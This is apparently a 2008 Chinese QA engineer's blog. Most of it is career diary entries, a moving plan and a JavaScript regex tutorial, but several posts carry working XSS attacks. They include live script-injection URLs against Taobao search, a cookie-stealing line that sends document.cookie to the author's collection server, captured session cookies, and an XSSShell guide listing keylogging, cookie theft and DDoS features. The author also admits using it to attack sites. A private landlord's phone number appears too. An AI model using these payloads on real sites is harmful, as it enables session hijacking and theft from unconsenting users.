【工作经历:阿里巴巴搜索技术研发中心QA ,百度新产品测试部QA】 【领域:测试分析,自动化测试,性能测试,安全测试 】 【个人定位:高级测试工程师+培训师+领域产品专家】

发布新日志

  • 回首一年的工作经历

    2008-09-06 16:07:41

    刚进新公司,同事邀我去玩杀人游戏,我没有去,又有人邀请我去逛超市。我也没有去。刚进了新公司,什么都不熟悉。一切都是那么的新鲜。

    自已忍了很久,终于换来了一个新的开始。

    我在北京一年,没有逛过北京任何一个景点。

    忍了一年,不是我不喜欢游玩。而是,没有心情去做这些事情。

    一直在看书,学习,上网,加班。一心想着要去超越。

    从来北京的第三天起,我就开始考虑怎么才可以在这个城市立足。

    从我进公司的第一个星期开始,我就考虑着要做一个非常成功的员工。

    第一个月,我顺利的提前进入项目组。

    第二个月,充满信心的去学习,去工作。去适应。

    第三个月,开始意识到,单纯做技术已经无法超越某些擅长沟通和管理的人。

    第四个月,我发现自己有很多的缺点,让自己做不到最好。开始认真的去反思,开始关注组织,管理,和人际交流。

    第五个月,认真的勤奋的工作,乐此不疲。我已经坚持了近半年,提前一个小时上班,晚两个小时下班。

    第六个月,我接受了新的职位,陌生的工作又让自己重新回到了起跑线。虽然环境很好,但是因为失去了以前的工作经验积累,有点失落。

    第七个月,我看到了新工作的希望,有过短暂的重新去创造未来的信心。同时也发现公司的人原来都很懒。

    第八个月,我曾经深入的一头扎进工作里,努力的工作。

    第九个月,我不但意识到自己的瓶颈,还发现自己学不到任何称为专业的东西。开始迷茫。开始适应公司的工作节奏了----赶点上班,赶点下班,不加班。开始变的很懒。工作态度,积极性都已经下降了。

    第十个月,被公司无聊的项目和死气沉沉的气氛所折磨,没有希望,没有机会,迷茫,丧失信心。是自己太浮躁了。太急于求成了。

    第十一个月,正式离开了我的公司。开始物色新的公司,尽量避免做一个跳槽的人。

    第十二个月,我加入了新公司。一切又有了新的开始。

     

    整整一年,我又重新回到了原点。新的工作,新的城市,新的同事。

    不同的是,经历了那么多事情,成熟了很多。看到公司里的那些新人,感到他们真的是有些幼稚和不成熟。

    当初自己是多么的有信心,有志向,有激情,肯努力的去工作。总是用一种初生牛犊不怕虎的心态去做任何事情。总是认为,自己够聪明,就可以比别人成熟的更快,走的更高。直到接受时间的历练,才发现,原来成熟真的需要时间来养成。

    不想再让自己的人生转弯了。自己以前走了太多的弯路。很多的东西都没有掌握,自己的能力也没有发挥。学习的东西也没有得到机会施展。

    给自己一个要求。以免自己再重蹈覆辙。

     

    一、3年不准想任何关于跳槽的话题。也许一辈子都不想再跳槽。对没有任何积累和心得的工作经历已经感到非常痛苦了。专业才可以保证优秀。

    二、以工作为主,不要让自己的爱好和工作产生分歧,python还是ruby,windows还是linux,.net还是Java,一切以工作为准。不去花大精力学工作以外的东西。

    三、做一个正常的吃喝玩乐的人,加强和同事的沟通,变的要更开朗,更活跃

    四、不在其位,要具其能。不要再想着比别人强,认真工作,具备工作需要的技能。重能力,不谈职位与工资,安静的做一个普通的员工。但是要用leader的心态,去做事,负责任。引导同事们一起愉快的工作。把工作做好。

     

     

     

  • 准备转移

    2008-08-27 14:19:27

    终于等到了公司的offer,说是给我发了。现在也没有收到。工资比要求的少了1k。自己一年的工作经历是一点忙也没有帮上,还不如自己自己学习一个月更实在。换行工作就是这个缺点。
    无所谓了。既然自己都早决定破釜沉舟了,就认真去做吧。

    没有时间去学习东西了。最近要收拾行李搬家,还有一项工作没有做完。给一个朋友写书。

    基本的路线图花时间收集了一下。标注一下,省得自己忘记了。



    1、做火车去杭州

    t31  北京到杭州  空调特快  15:56发,6:26到。 硬座 194

    2、做公交去公司

    线路1:    从城站火车站出发,乘坐K900路(城站火车站-三墩),抵达古翠路天目山路口. 约10.0公里
    线路2:    从城站火车站出发,乘坐K95路上行(城站火车站-府新花园南),抵达天苑花园. 约10.33公里
    线路3:    从城站火车站出发,乘坐K156路(城站火车站-翠苑四区),抵达天苑花园. 约11.23公里

    3、坐公交去租房,地点靠近浙大,方便吃饭,读书,听课。

    线路1:    从城站火车站出发,乘坐K95路上行(城站火车站-府新花园南),在丰潭路口换乘817/K817路(武林门马塍路口-光明路留祥路口),抵达浙大紫金港校区. 约16.57公里
    线路2:    从城站火车站出发,乘坐11/K11路(城站火车站-翠苑新村),在庆丰村换乘817/K817路(武林门马塍路口-光明路留祥路口),抵达浙大紫金港校区. 约16.95公里
    线路3:    从城站火车站出发,乘坐K900路(城站火车站-三墩),在机动车辆管理所换乘K74路上行(三里亭小区-浙大紫金港校区),抵达浙大紫金港校区. 约16.35公里

    4、租房的地点
    颐高西溪数码港附近,阿里巴巴边,物美旁文三路与文二路间华星路上嘉绿青租房,去问。
    古墩路,浙大紫荆港,华东陶瓷品市场附近望月公寓租房   800 
    联系人:方晨曦 先生  手机:15868891603
    还有万唐路很多。





  • 放弃qtp

    2008-08-25 16:00:06

    定位了新公司。qtp可能是用不到了。暂时不学习了。
    为了适应新公司,我需要学习linux,selenium,和jmeter。
    尽量多做一些准备,qtp的那本书,就送给朋友吧。
    一个人的技能,只有为公司所用,才具有真正的价值。
    有新机会了,就一定要努力。不枉费自己的决心。
  • 最佳blog投了两票

    2008-08-23 01:11:51

    投给了tengmy和gaarchite。没有发现liangjz的。不然也投他的了。
    其他的blog不是太熟悉。有时间再去看看。其他的lbog很少去。

    应该多读读别人的文章,学习一下别人的经验。blog上的东西是最宝贵的工作第一手资料。
  • lr9.0不支持vista

    2008-08-22 22:01:29

    今天的一个教训。vista的又一个让我心烦的毛病。

    录制的程序无法执行,提示0xc0000005错误。
    创建场景的后,执行出错,提示某个文件的n行有问题。
    以为是权限的问题,就关掉了user account control,结果还是不行。

    去网上搜索了一下,结果发现lr9.0不支持vista。
    我感觉我离格式化vista不远了。

    发现lr9.0确实是更新了不少东西。提出了很多的新概念。
  • 试手LoadRunner9.0

    2008-08-22 16:42:04

    从论坛上搜索到了loadrunner9的下载地址。然后下载下来了。我的系统是vista。
    现在对vista一点好感也没有。

    n多的软件不兼容,硬件不兼容,就包括我的一个读卡器。害的我不得不装一个xp。
    很多程序也应为vista的特殊限制而运行不起来,自己配置,花费了n多时间。
    因为这个系统已经装好了很多的工具,也懒的换了。

    从今天开始正式研究loadrunner,以前项目用过一次,学习过一段时间,掌握了点皮毛,现在基本上已经忘的差不多了。因为决定要重点关注性能测试,所以,就开始研究。

    loadrunner9.0在vista上因为种种vista的限制,会发生一些小毛病,比如无法录制,无法运行。
    索性就把vista的user account control给关掉了。

    新版本的界面发生了很多的变化,重要的功能才菜单还是没有变。录制格式依然是c风格的,还算满意。
    新版本扩展了很多的东西,增加了不少的支持。看来,lr又要领风骚一阵子了。

    学习计划

    1、首先看一篇用户手册
    2、利用自带例子练手。
    3、重温以前买的三本性能测试书籍。


    loadrunner除了可以进行性能测试,还可以进行很多很多扩展,比如xss检测,sql注入检测等。
    只是人们都还没有意识到这些功能。
    等使用熟练了,一定要进行一些扩展,让这个工具成为自己的又一把倚天剑。


    因为学习经历有限,性能测试只学习loadrunner。第三方工具就不研究了。阿里巴巴的人好像是还研究jmeter。对这个不熟悉。在lr没有彻底熟悉之前,不要花费时间去关注它。
    专注于一种即可,不要让自己太浮躁。

    像liangjz,qaarchite那样的牛人,是需要n年才可以做到的。

  • [论坛] xss测试步骤优化

    2008-08-22 13:39:14

    xss测试的一般步骤,总结了一下,尽量让xss测试的步骤简单高效一些。

    测试xss一直很麻烦,一直想找个方法优化一下,经过几天的探索。终于找到了一个省时省力的方法。
    首先介绍一下需要的工具。
    xssshell是一个xss攻击平台。它首先需要搭建一个asp web服务器,将自身搭建起来,监听请求,
    然后在xss地方,嵌入一个外部脚本文件,这个脚本文件会定期的访问xssshell服务器上的文件内容,然后执行。
    这样就可以通过xssshell本身的服务,来动态的修改xss语句。(以前曾用这个黑过网站,刷过流量)
    网上也有另一个xss攻击平台,是beEF,linux上的,因为搭建比较复杂,就不提了。如果需要更好的功能,可以尝试一下。
    我的虚拟机是vpc,对linux的支持不好,没有办法。暂时不研究那个了。


    第一步,搭建xssshell,首先下载xssshell,
    官方地址  http://www.portcullis-security.com/16.php

    修改默认的密码和数据库文件的路径,然后自己搭建一个简易的web服务器,可以使用net box搭建。
    搭建好后,就可以访问管理员页面,查看其中的功能。

    具体的功能包括

    getCookie()
    Get victims active cookie
    getSelfHtml()
    Get victim's current page HTML Code
    alert(<message>)
    Send message to victim
    eval(<javascrīpt code>)
    Execute virtually anything in JS
    prompt(<question>)
    Play Truth or Dare
    getKeyloggerData()
    Get keylogger data
    getMouseLog()
    Get mouse log (every click in screen)
    getClipboard()
    Get clipboard data (only IE)
    getInternalIP()
    Get internal IP address (only Mozilla* + JVM)
    checkVisitedLinks(<url list>)
    Check victim's history (seperated by new line)
    getPage(<Relative URL Path>)
    Make a request with victim credentials
    DDoS(<url>)
    Distributed Denial of Service attack (use {RANDOM} in URL to avoid caching)
    Crash()
    Consume victim's CPU and force to crash/close.
    GetLocation()
    Get current URL of victim.

    同时xssshell提供了一个实例程序,请参考具体的说明。


    第二步,在目标xss页面中,想办法嵌入一个外部的脚本链接,也就是加入
    <scrīpt src="你的xssshell.asp的网络地址"></scrīpt>,这样就可以了。

    第三步,登录xssshell的后台管理页面,就可以发现,有个计算机上线了,而且还提示基本的国家标志。浏览器类型。
    然后,你就可以对主机进行各种功能的请求。比如发送消息,获得cookie,执行脚本,访问网页等等操作。

    第四步,此步是高级应用。使用XSSTunnel,详细功能可以参考官方的说明,可以通过xss进行一些服务请求。因为这些请求时通过xss进行的。所以,获得的权限和身份也是以对方的身份进行的。如果是网站的管理员点击了你的xss页面,那么,你就可以在本地通过xssstunnel进行一些管理员的操作。


    xss测试的目的就是让开发人员相信,xss能够引起的足够危害。所以,只要达到自己的目标就可以了。
    比如演示通过xss获得管理员权限,然后执行管理员操作。利用xss手机受害者的敏感信息等。到此为止就已经达到了测试的要求了,再深入就成hack了。
    第一步是个一劳永逸的工作,测试的时候,主要就是在xss处嵌入脚本,然后等待受害者上线就可以了。
    这样就精简了很多的流程,和一些重复的体力活。

    [ 本帖最后由 sihanjishu 于 2008-8-22 13:37 编辑 ]

    xssshell.jpg
  • 个人技能发展方向

    2008-08-21 19:19:27

    记得以前有一个同事曾经说过,人不能精通所有的技能。
    她说的所有是指自动化测试,性能测试,和手工测试。在她看来,这些东西是没有时间和机会去深入研究的。
    但是自己一直没有被这句话打倒,一直在努力学习。后来发现,要想同时掌握多项技能。真的是很难。
    即使自己肯努力,也没有时间和项目让自己去锻炼这些,很多的技能一直停留在表面的技术上。
    所以,自己精简了自己的学习方向,争取让自己的技能能够先精通,再广泛。

    重新去解释,是因为看到别人收藏了这个文章,所以,为了怕别人误解,我从新解释一下。
    需要重点努力的方向。

    开发能力

    1、c++
    c++无疑是最强大的语言,提供的指针概念让c++具有很大的作用,c++风格也影响了很多的后来语言,包括java和c#,了解c编程,同时也有机会深入系统的底层,对计算机的很多理解会有更深层次的理解。
    早期,一直用来写一些木马,病毒,和系统工具。以高效著称。
    c#和java封装了太多的东西,让人没有机会去接触系统底层的东西,也同时 限制了人的知识面。

    2、c#
    高效的开发语言,优秀的语法风格和整体架构。接近完美的一种语言。用来开发常用的客户端工具,比较快速。
    c#也是微软的重点推广项目,学习他也可以跟上微软的节奏。对于以后从事微软系的工作是非常有帮助的。

    3、python

    python新兴的解释型的语言,具备了很多优秀的结构和语言,因为是解释型的。所以,开发起来方便修改,其他人写的程序都是公开代码的,所以,方便自己的学习。同时python具有非常广泛的类库或者模块,扩展性极强。很多的东西可以复用。
    python具有跨平台的作用,对于快速的开发其他平台的工具,或者进行操作是非常有帮助的。
    我是看重了他的简约和强大的类库。
    写一些小型的工具,爬虫,发送请求,批量操作,数据嗅探,等应用,非常简单。

    4、汇编

    之所以,保留这个,是因为要理解系统底层,这个是少不了的。
    汇编在操纵底层方面是最强的,具有其他语言没有的一些特性。
    在软件破解,反向分析,病毒免杀方面有用,自己以前喜欢黑客,所以,这个技能也不舍得丢。
    项目中用到的很少。

    web技能
    1、javascrīpt & vbscrīpt & ajax
    javascrīpt将是以后主流的web客户端开发语言,很多的逻辑和操纵都依赖javascrīpt,测试必备技能。
    vbscrīpt和javascrīpt一样的功能,因为qtp是扩展的vbscrīpt语言,所以,这个东西也是需要熟悉的。
    ajax很简单,以后的用处也很大,所以,这个也非常重要。对于测试程序,操纵web页面是非常有帮助的。

    2、asp.net & soap
    web服务端的开发技能总要具有一项吧,asp已经落伍了,jsp,php,asp.net将是非常流行的。
    asp已经掌握了,没有必要学习了。asp的重要性也大大降低,所以,就放弃了。
    因为自己以前从事微软的方向,所以,asp.net是应该掌握的。况且它也可以快速开发一些应用,也是非常好的一门技能。对于熟悉web服务端技术,是有一定帮助的。
    soap是以后web的一个方向,发展很快,以后的项目,可能会遇到。

    3、css &html & xml & xpath
    html就不说了,css也是需要掌握的,况且css除了定义样式外,还具有js执行功能。所以,是需要掌握的。
    xpath也是一个方向,现在不会,感觉有必要掌握。

    4、jsp
    脱离了微软系,java将是老大,jsp是服务器端非常重要的开发工具,测试项目也肯定会有的。以后的重要性可能会上升。

    os平台

    1、windows
    2、red hat linux
    测试肯定是需要跨平台的,尤其是测试weblogic等中间件服务器。或者其他的linux的服务器架构。
    很多的应用也是架构在linux,unix上的。

    3、ubuntu
    自己玩,发展最快的linux桌面产品。对于熟悉linux,是个不错的入门。

    web应用服务器
    1、iis
    2、apache&tomcat
    3、weblogic&websphere

    数据库服务器
    1、ms sql server & t-sql
    2、oracle

    现在的应用都是离不开数据库的,sql是必须熟悉的。

    测试工具
    1、QTP
    2、Loadrunner
    3、微软的maui,mita和其他自动化测试技术。
    4、TD & QC
    5、selenium

    常用的工具,有商业的,也有开源的,只是为全面掌握测试的具体技术。


    network技术

    1、数据嗅探(tcp,udp,http,soap,snmp)
    2、网络分析
    2、数据包分析、数据包修改

    测试和hack都是有帮助的技能。


    办公处理

    1、word & excel & access 高级应用,会定义格式,定义函数

    office办公,这些是少不了的。日常使用。


    沟通和管理
    1、沟通能力
    2、组织能力
    3、管理能力

    决定个人发展生涯的三项软技能,描述很短,但是内容很多,没有实用的教材,靠自己的领悟能力。
    要想人生突破,这个是必须跨越的。

    外语能力

    1、英语,要达到与外国人顺畅沟通的程度。专注此一样。


    hack能力

    1、注入
    2、跨站

    基本的安全测试是需要的。平时hack也是非常有用的技能。hack将作为自己的一个业务能力。对于以后打击网络犯罪,帮助朋友解决安全问题是非常有用的。

  • ajax使用教训

    2008-08-21 11:09:24

    1、firefox下,
    xmlhttp.open("GET", action, false);
    xmlhttp.send();
    return xmlhttp.responseText;

    是运行错误的,正确的方法是在send()函数中传入一个null值。
    ie下是不需要的。真是变态。


    2、open函数是可以传入绝对路径的。但是这个路径必须是和当前脚本文件是同一个域的。
    否则,会提示一个object error 错误。害我调试了一个上午。后来换了一个页面才正确,看来应该及时转换思路。

    3、document.cookie无法修改,不知道怎么回事。使用=是修改不了真正的cookie的。
    document.cookie=“name=value"





  • 51testing上blog系统的一个小小bug

    2008-08-21 01:06:16

    在文章里插入链接的时候,尝试着写入'></scrīpt><scrīpt>alert(33)</scrīpt>。

    就会发现你的页面会弹框。显示结果也爆出了js的一些内容。这只是客户端的解析问题,

    这只能欺骗自己,没有危害的。

    本地解析出了问题,穿上服务器,还是没有任何问题。代码都已经经过过滤了。

    娱乐一下。

    本来是贴出其他网站的xss的,结果就发现来这个问题。


    分析一下,js的主要代码,这是添加链接的。

    var a = document.getElementById("wordEditer_Link_ADS").value;

    var v = document.getElementById("wordEditer_Link_TEXT").value;

    if(a == "") return;

    if(v == "") v = a;

    var html = "<a href='" + a + "' target=\"" + t + "\">" + v + "</a>";


    所以,添加的连接里,必须没有'和“, html变量最终会被打断,就乱了。这一切都是本地的操作。
    传入服务器上后,都是经过html编码的,不会有什么问题。

    所以,没有危害,只是娱乐而已。

    同时也发生了一次疏忽,因为我在开着工具调试,结果上网站的时候,忘记关了,直接生成了一大堆日志。
    无言了。




  • 淘宝的xss还真多

    2008-08-21 00:52:27

    淘宝的xss地方还真多。很奇怪。
    同样的参数,不同的模块过滤不一样。看来是和他们项目组当初开发的时候出现的问题。
    不是同一个人写的,所以,才有这样的差别。
    如下地址。个别参数基本上什么都没有过滤。

    http://search1.taobao.com/browse/0/n-g,pb4hq6dypb4hq6dy----------------40--commend-0-all-0.htm?at_topsearch='></scrīpt><scrīpt>alert(33)</scrīpt>



  • w3school的教程

    2008-08-20 17:04:55

    http://www.w3school.com.cn/index.html

    这个网站介绍常用的一些技术。这应该是全世界最全的教程了。

    js,html,xml,sql还有一些其他的技术。非常的不错。用来查询资料是非常棒的。
    祈祷在我没有消化那些知识之前,不要关掉。


    领先的 Web 技术教程 - 全部免费

    在w3school,你可以找到你所需要的所有的网站建设教程。

    从基础的HTML到XHTML,乃至进阶的XML、SQL、数据库、多媒体和WAP。




  • js正则的g参数

    2008-08-20 17:00:39

    g表示全局的意思,如果没有g参数,则只匹配一次。
    js的字符串默认是支持正则方法的。
    常用的 test,search,match,replace.

    regex=/(m.)/g;
    content="m1xxm2fsdm3fsfm3";
    res=content.match(regex);
    alert(res.length);
    for(i=0;i<res.length;i++)
    {
    alert(res[i]);
    }


    返回结果,m1,m2,m3,m3。
  • JavaScript 正则表达式的例子

    2008-08-20 16:05:11

    从网上找到的。感觉很好。操纵html有两种机制,一种是dom,也可以通过正则进行匹配。
    因为正则的广泛性和简单性,简单应用还是使用这个比较方便。
    而且,我也很喜欢使用正则表达式。


    Javascrīpt 正则表达式

    一 javascrīpt正则表达式的基本知识

    1 javascrīpt 正则对象创建 和用法

    声明javascrīpt 正则表达式

    var reCat = new RegExp("cat");
    你也可以
    var reCat = /cat/; //Perl 风格 (推荐)

    2 学习最常用的 test exec match search replace split 6个方法

    1) test 检查指定的字符串是否存在

    var data = "123123";
    var reCat = /123/gi;
    alert(reCat.test(data)); //true

    //检查字符是否存在 g 继续往下走 i 不区分大小写

    2) exec 返回查询值

    var data = "123123,213,12312,312,3,Cat,cat,dsfsdfs,";
    var reCat = /cat/i;
    alert(reCat.exec(data)); //Cat

    3)match 得到查询数组

    var data = "123123,213,12312,312,3,Cat,cat,dsfsdfs,";
    var reCat = /cat/gi;
    var arrMactches = data.match(reCat)

    for (var i=0; i < arrMactches.length ; i++)
    {
    alert(arrMactches[i]); //Cat cat
    }

    4) search 返回搜索位置 类似于indexof

    var data = "123123,213,12312,312,3,Cat,cat,dsfsdfs,";
    var reCat = /cat/gi;
    alert(data.search(reCat)); //23


    5) replace 替换字符 利用正则替换

    var data = "123123,213,12312,312,3,Cat,cat,dsfsdfs,";
    var reCat = /cat/gi;
    alert(data.replace(reCat,"libinqq"));

    6)split 利用正则分割数组

    var data = "123123,213,12312,312,3,Cat,cat,dsfsdfs,";
    var reCat = /\,/;
    var arrdata = data.split(reCat);

    for (var i = 0; i < arrdata.length; i++)
    {
    alert(arrdata[i]);
    }

    3 学习下 简单类 负向类 范围类 组合类

    //简单类
    var data = "1libinqq,2libinqq,3libinqq,4libinqq";
    var reCat = /[123]libinqq/gi;
    var arrdata = data.match(reCat);

    for (var i = 0; i < arrdata.length; i++)
    {
    alert(arrdata[i]); // 1libinqq 2libinqq 3libinqq
    }

    //负向类
    var data = "alibinqq,1libinqq,2libinqq,3libinqq,4libinqq"; //\u0062cf
    var reCat = /[^a123]libinqq/gi;
    var arrdata = data.match(reCat);

    for (var i = 0; i < arrdata.length; i++)
    {
    alert(arrdata[i]); //4libinqq
    }

    //范围类
    var data = "libinqq1,libinqq2,libinqq3,libinqq4,libinqq5"; //\u0062cf
    var reCat = /libinqq[2-3]/gi;
    var arrdata = data.match(reCat);

    for (var i = 0; i < arrdata.length; i++)
    {
    alert(arrdata[i]); // libinqq2 libinqq3
    }

    //组合类
    var data = "a,b,c,w,1,2,3,5"; //\u0062cf
    var reCat = /[a-q1-4\n]/gi;
    var arrdata = data.match(reCat);

    for (var i = 0; i < arrdata.length; i++)
    {
    alert(arrdata[i]); // a b c 1 2 3
    }


    这些都是 js正则 最基本的使用方法,看不会的请复制到笔记本练习下,看会了再往下面看。

    二 javascrīpt 正则表达式是分组知识

    1) 简单分组


    Code
    <scrīpt language="Javascrīpt">
    <!--
    /*正则表达式 简单的分组
    举例 我们要查找字符串 MouseMouse

    var reCat = /MouseMouse/gi;

    尽管这是可以的,但是有点浪费。如果不知道Mouse 在字符串中到底出现几次时该怎么办,如果重复多次呢。
    var reCat = /(mouse){2}/gi; 括号的意思列Mouse 将在一行连续出现2次。

    */

    var data = "Ah-mousemouse";
    var reCat = /(mouse){2}/gi;
    var arrdata = data.match(reCat);

    for (var i = 0; i < arrdata.length; i++)
    {
    alert(arrdata[i]);
    }


    //-->
    </scrīpt>

    2 复杂分组


    Code
    <scrīpt language="Javascrīpt">
    <!--
    /*正则表达式 复杂的分组
    ? 零次 或 一次
    * 零次 或 多次
    + 最少一次 或 多次
    */

    var data = "bb ba da bad dad aa ";
    var reCat = /([bd]ad?)/gi; // 匹配出 ba da bad dad
    var arrdata = data.match(reCat);

    for (var i = 0; i < arrdata.length; i++)
    {
    alert(arrdata[i]);
    }


    // 同时 也不介意将分组放在分组中间
    // var re = /(mom( and dad)?)/; 匹配出 mom 或 mon and daa
    //-->
    </scrīpt>


    3 反向引用



    Code
    <scrīpt language="Javascrīpt">
    <!--
    /*正则表达式 反向引用*/

    var sToMatch = "#123456789";
    var reNumbers = /#(\d+)/;
    reNumbers.test(sToMatch);
    alert(RegExp.$1);

    /*
    这个例子尝试匹配后面跟着几个或多个数字的镑符合,并对数字进行分组
    以存储他们。在调用 test 方法后,所有的反向引用都保存到了 RegExp 构造函数中
    从 RegExp.$1(它保存了第一个反向引用)开始,如果还有第二个反向引用,就是
    RegExp.$2,如果还有第三个反向引用存在,就是 RegExp.$3.依此类推。因为该组
    匹配了 “123456780”,所以 RegExp.$1 中就存储了这个字符串。

    */


    var sToChange = "1234 5678";
    var reMatch = /(\d{4}) (\d{4})/;
    var sNew = sToChange.replace(reMatch,"$2 $1");
    alert(sNew);

    /*
    在这个例子中,正则表达式有两个分组,每一个分组有四个数字。在 replace() 方法的第二个参数
    中,$2 等同于 “5678” ,而 $1 等同于 “1234”,对应于它们在表达式中的出现顺序。
    */

    //-->
    </scrīpt>


    4 候选



    Code
    <scrīpt language="Javascrīpt">
    <!--
    /*正则表达式 候选 */
    var sToMatch1 = "red";
    var sToMatch2 = "black";
    var reRed = /red/;
    var reBlack = /black/;

    alert(reRed.test(sToMatch1) || reBlack.test(sToMatch1));
    alert(reRed.test(sToMatch2) || reBlack.test(sToMatch2));

    /*
    这虽然能完成任务,但是十分沉长,还有另一种方式就是正则表达式的候选操作符。
    */

    var sToMatch1 = "red";
    var sToMatch2 = "black";
    var reRedOrBlack = /(red|black)/;
    alert(reRedOrBlack.test(sToMatch1));
    alert(reRedOrBlack.test(sToMatch2));

    //-->
    </scrīpt>


    5 非捕获性分组





    Code
    <scrīpt language="Javascrīpt">
    <!--
    /*正则表达式 非捕获性分组

    如果要创建一个非捕获性分组,只要在左括号的后面加上一个问号和一个紧跟的冒号:
    */

    var sToMatch = "#123456789";
    var reNumbers = /#(?:\d+)/;
    reNumbers.test(sToMatch);
    alert(RegExp.$1);

    /*
    这个例子的最后一行代码输出一个空字符串,因为该组是非捕获性的,
    */

    var sToMatch = "#123456789";
    var reNumbers = /#(?:\d+)/;
    alert(sToMatch.replace(reNumbers,"abcd$1"));

    /*
    正因如此,replace()方法就不能通过 RegExp.$x 变量来使用任何反向引用,这段代码
    输出的“abcd$1”而不是abcd123456789, 因为$1 在这里并不被看成是一个反向引用。
    */
    //-->
    </scrīpt>


    6 前瞻

    Code
    <scrīpt language="Javascrīpt">
    <!--
    /*正则表达式 前瞻
    前瞻 就和它名字一样,它告诉正则表达式运算器向前看一些字符而不是移动位置
    */


    var sToMatch1 = "bedroom";
    var sToMatch2 = "bedding";
    var reBed = /bed(?=room)/;
    alert(reBed.test(sToMatch1)); //true
    alert(reBed.test(sToMatch2)); //false

    //负向前瞻

    var sToMatch1 = "bedroom";
    var sToMatch2 = "bedding";
    var reBed = /bed(?!room)/;
    alert(reBed.test(sToMatch1)); //false
    alert(reBed.test(sToMatch2)); //true
    //-->
    </scrīpt>


    7 边界



    Code
    <scrīpt language="Javascrīpt">
    <!--
    /*正则表达式 边界
    ^ 行开头
    $ 行结尾
    \b 单词的边界
    \B 非单词的边界
    */

    var sToMatch = "Important word is the last one.";
    var reLastWord = /(\w+)\.$/;
    reLastWord.test(sToMatch);
    alert(RegExp.$1); //one

    /*
    假如想查找一个单词,但要它只出现在行尾,则可以使用美元符号 ($)来表示它:
    */



    var sToMatch = "Important word is the last one.";
    var reLastWord = /^(\w+)/;
    reLastWord.test(sToMatch);
    alert(RegExp.$1); //Important

    /*
    在这个例子中,正则表达式查找行起始位置后的一个或多个单词字符。如果遇到非单词字符
    匹配停止,返回 Important。 这个例子也可以用单词边界实现。
    */

    var sToMatch = "Important word is the last one.";
    var reLastWord = /^(.+?)\b/;
    reLastWord.test(sToMatch);
    alert(RegExp.$1); //Important

    /*
    这里,正则表达式用惰性量词来制定在单词边界之前可以出现任何字符,且可以出现一次或
    多次(如果使用贪婪性量词,表达式就匹配整个字符串)。
    */

    var data = " First second thind fourth fifth sixth ";
    var reCat = /\b(\S+?)\b/g;
    var arrdata = data.match(reCat);

    for (var i = 0; i < arrdata.length; i++)
    {
    alert(arrdata[i]);
    }

    /*
    使用单词边界可以方便地从字符串中抽取单词。
    */
    //-->
    </scrīpt>


    8 多行模式





    Code
    <scrīpt language="Javascrīpt">
    <!--
    /*正则表达式 多行模式

    要制定多行模式,只要在正则表达式想要匹配的行末的一个单词
    */

    var data = " First second\n thind fourth\n fifth sixth";
    var reCat = /(\w+)$/g;
    var arrdata = data.match(reCat);

    for (var i = 0; i < arrdata.length; i++)
    {
    alert(arrdata[i]);
    }

    /*
    上面只返回一个单词 sixth,因为换行符阻挡了匹配,只能匹配行末的一个单词,
    当然也可以使用 split() 方法将字符串分割成数组,但就得对每一行进行单独匹配。

    以前不好好看书经常半吊子,看一半就仍了,导致用了好多 split, 其实很简单如下面
    例子 只需要 m 参数进行多行匹配。

    */
    var data = " First second\n thind fourth\n fifth sixth";
    var reCat = /(\w+)$/gm;
    var arrdata = data.match(reCat);

    for (var i = 0; i < arrdata.length; i++)
    {
    alert(arrdata[i]);
    }


    //-->
    </scrīpt>
  • 幸运的通过了心仪公司的二面

    2008-08-20 13:22:22

    阿里巴巴的二面是我所有面试中最难的一次。他们的人很厉害,
    每次我提到自己会什么,他们都非常了解,然后问一些很难的细节。
    他们对人的把握,对技术细节的把握很厉害。感觉自己就像被他们看透了一样。

    二面回答的不好,本来以为是要挂了。正心情低落的时候,突然收到了他们的通知,我已经通过了。
    真是幸运。同时又非常的激动,终于可以有机会进入自己心仪的公司了。

    这两天接受了体检,办以前公司的离职手续。同时腾出时间看看linux和性能测试。弥补一下自己的不足。
    很开心。
  • 淘宝搜索xss的再次分析

    2008-08-17 01:54:17

    这是一个非常低级的xss,连基本的冒号就没有过滤。看来是大意所致,其他的地方,都没有这个毛病。

    既然已经得到可以xss地方。我就直接使用外部脚本加载来执行一些操作。使用外部脚本加载
    http://192.168.0.15/test.js就是第三方的脚本文件。在脚本里可以随便写上一些证明的语句,比如alert。

    http://search1.taobao.com/browse/search_auction.htm?

    f=D9_5_1&commend=all&prop=&ppath=&promote=&_promote=&isnew=&user_action=initiative&at_topsearch=1&search_type=auction&q=>"'><scri

    pt%20src=http://192.168.0.15/test.js></scrīpt>&cat=&productCat=1&book_search=fuzzy_sr_all_text

    访问之后,成功的执行了外部js的文件。这样,我就可以有更多空间去完成自己的操作。
    在虚拟机上登录自己的淘宝帐号,然后在ie的地址栏中输入javascrīpt:alert(document.cookie)查看当前的cookie。

    真正的cookie

    ---------------------------
    Microsoft Internet Explorer
    ---------------------------
    uc1=_yb_=false&_msg_=0&_msg_v=true&cookie21=KwmMFB0d1nI9&cookie14=KPtF5EqaNsqDvQ%3D%

    3D&cookie15=dHJ1ZQ==&cookie16=LxCHKl404vvFNTkbknIAwYbDuw%3D%3D&cookie17=IZioVB3mclM%3D&existShop=false&existXShop=false;

    cookie2=a4eda691fb507c147b72295462ba10b8; t=cf6f6f6c37808b6701f6d9b69da117a3; _reg_table_=ONQYEVJBXCWPFTKGLZHIMRUDAS;

    _reg_name_=VyO3HBcFYdM%3D; _reg_first_time_date=KPtF5EqaN8X2j%2FP6Vg%3D%3D; cookie1=L0kKVuHbka5%

    2BsNZi9DhQXxbu4tf8obcF1sARtUrSoT4%3D; lastgetwwmsg=MTIxODg3Mjg1MQ%3D%3D; ssllogin; _ad_; _wwmsg_=0%2C0; btc=81000867%2B150402%

    3A50%3B150401%3A50%3B%3A%3B%3A%3B%3A%3B%3A; _sv_=0; tracknick=sihanjishu; tg=0; _cc_=Icgi8Z%2F1iA%3D%3D; _nk_=sihanjishu;

    user_tag_user_id=KpAfzyJUgA0JMCndQZVHJw%3D%3D
    ---------------------------
    OK   
    ---------------------------



    然后访问上面的构造的xss地址。同时修改js的脚本为alert(document.cookie)
    再次访问xss地址,结果发现,弹出了cookie的提示。



    修改js的脚本文件,这次通过js发送请求,把当前的cookie发送到网路上去。
    我在外部网络上新建一个web服务器,然后写一个接受请求的文件,把获得的请求保存起来。http://192.168.0.15/xssc.asp就是外部的用来保存请求数据的文件。

    js的内容

    new Image().src="http://192.168.0.15/xssc.asp?"+escape(document.cookie);


    再次访问上面构造的那个xss地址。成功的在外部计算机上得到了虚拟机里登录淘宝的cookie。
    收到的cookie内容。

    uc1=_msg_=0&_msg_v=true&cookie21=KwmMFB0d1nI9&cookie14=KPtF5EqaMaMA8Q%3D%

